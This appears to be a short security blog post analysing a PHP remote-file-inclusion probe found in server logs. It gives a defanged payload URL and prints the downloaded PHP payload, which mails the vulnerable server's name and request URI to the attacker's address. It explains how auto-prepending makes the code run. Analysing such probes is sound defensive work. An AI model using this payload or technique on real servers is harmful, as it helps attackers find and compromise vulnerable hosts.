I saw this php injection attempt that I thought was interesting.
The attempt is looking for mis-configured insecure PHP web servers. Looking for ones that will give the ability to enable url includes and then automatically prepend the file. When I downloaded the malicious payload file url ( hxxp://netsunucum.com/status/-/d.txt [see at urlquery] ) I found this which was also interesting.
$from = "INBOX <email@example.com">";
$sentTo = "firstname.lastname@example.org";
$subject = "VULN r0x";
$msg_body = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$header_info = "From: ".$from;
mail($sentTo, $subject, $msg_body, $header_info);
If the php web server is vulnerable, then this php file above will get auto-included and pre-pended to the current php page, thus getting executed. When it's executed it actually uses PHP mail to send an email to the attacker's gmail account if the server it hit was vulnerable. The attacker at email@example.com will get an email indicating that the server name in the body is vulnerable to the php injection.
